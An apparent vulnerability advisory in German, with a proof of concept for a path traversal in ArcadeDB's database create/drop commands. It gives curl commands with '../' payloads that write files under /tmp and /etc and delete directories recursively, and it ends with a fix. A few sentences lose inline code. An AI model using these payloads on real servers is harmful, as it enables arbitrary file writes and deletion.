
Proof-of-Concept für CVE-2026-75855, eine Path-Traversal-Schwachstelle in ArcadeDBs create/drop-Datenbankbefehlen, die das Schreiben und Löschen beliebiger Dateien außerhalb des konfigurierten Verzeichnisses ermöglicht.
Path Traversal in den Serverbefehlen „create database“ / „drop database“ ermöglicht beliebiges Schreiben und Löschen von Dateien außerhalb des konfigurierten Datenbankverzeichnisses
Die Befehle create database und drop database des Endpunkts POST /api/v1/server verwenden den vom Aufrufer gelieferten Datenbanknamen, um einen Dateisystempfad ohne Bereinigung, Normalisierung oder Containment-Prüfung zu erstellen. Ein Benutzer, der als Root-Konto des ArcadeDB-Servers authentifiziert ist, kann einen Namen mit ../-Sequenzen angeben, um den Server zu veranlassen, eine vollständige Datenbank – beliebige Dateien und Verzeichnisse – an einem beliebigen absoluten Dateisystempfad zu erstellen (und später zu löschen), den der Serverprozess beschreiben kann, vollständig außerhalb des konfigurierten arcadedb.server.databaseDirectory.
Dies wurde live verifiziert, zweimal unabhängig voneinander aus einem sauberen Zustand: Ein manipulierte create database-Befehl schrieb echte Datenbankdateien nach /tmp/ und in einem separaten Test nach ; ein passender -Befehl mit derselben Traversal-Zeichenkette löschte anschließend das Verzeichnis rekursiv.
/etc/drop databaseserver/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
Die einzige Validierung ist eine Nicht-Leer-Prüfung. databaseName fließt unverändert in ArcadeDBServer.createDatabase() (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572):
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
Dies ist eine rohe Zeichenkettenverkettung, keine Path.resolve()- und Containment-Prüfung. DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java) ruft niemals .normalize() auf oder überprüft, ob der aufgelöste Pfad innerhalb des vorgesehenen Basisverzeichnisses bleibt, bevor create()/open() die Dateien auf der Festplatte schreiben.
dropDatabase() weist denselben Mangel an Validierung auf, und da der Server die Datenbank unter dem wörtlichen (Traversal enthaltenden) Namen verfolgt, den der Aufrufer geliefert hat, löscht ein anschließendes drop database rekursiv jedes Verzeichnis, in das create database geschrieben hat.
checkRootUser(user) wird vor beiden Befehlen erzwungen, daher ist das Root-Konto des Servers erforderlich – aber Root ist hier ArcadeDBs eigener Superuser auf Anwendungsebene, nicht unbedingt dieselbe Vertrauensstufe wie OS-/Shell-Zugriff auf den Host. Das Durchbrechen der Containment von databaseDirectory ermöglicht es diesem Konto auf Anwendungsebene, beliebige Dateien überall dort zu schreiben und zu löschen, wo der JVM-Prozess OS-Berechtigungen hat.
Umgebung: ArcadeData/arcadedb @ Commit 545e703, aus dem Quellcode erstellt (./mvnw -pl engine,server -am install -DskipTests), eigenständig ausgeführt mit gesetztem arcadedb.server.rootPassword und arcadedb.server.databaseDirectory=/databases.
Bestätigen Sie, dass das vorgesehene Datenbankverzeichnis leer ist.
Senden Sie einen create database-Befehl mit einer Traversal-Payload:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary..dict, txlog_.wal – eine vollständige, echte ArcadeDB-Datenbank. Das vorgesehene databases/-Verzeichnis bleibt währenddessen leer.
list databases gibt die wörtliche Traversal-Zeichenkette als registrierten Namen zurück, was null Normalisierung bestätigt:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
Wiederholt mit einer tieferen Traversal nach /etc/arcadedb-poc2 – identisch erfolgreich, was zeigt, dass das Schreiben nicht auf /tmp oder einen bestimmten Dateisystembereich beschränkt ist, sondern nur auf das, was der Prozess beschreiben kann. Auch mit einer minimalen einstufigen ../-Traversal reproduziert, was einen echten Pfadausbruch bestätigt und kein zufälliges Ergebnis.
drop database mit derselben Traversal-Zeichenkette löscht das Verzeichnis rekursiv:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}; Verzeichnis danach als gelöscht bestätigt.
create database) und beliebiges rekursives Löschen (über drop database) an jedem absoluten Pfad, den der Serverprozess beschreiben kann, vollständig außerhalb der konfigurierten databaseDirectory-Sandbox.Lehnen Sie Datenbanknamen, die Pfadtrennzeichen (/, \) oder ..-Segmente enthalten, vollständig ab (ein einfacher Allow-List-Regex, z. B. ^[A-Za-z0-9_-]+$, ist für diese Klasse von Bezeichnern Standard), und lösen Sie den endgültigen Pfad defensiv mit Path.resolve(name).normalize() auf und überprüfen Sie, dass er immer noch mit dem konfigurierten Basisverzeichnis beginnt, bevor Dateioperationen in sowohl createDatabase als auch dropDatabase durchgeführt werden.
Credit: Pervin Zahidli (@ech0void )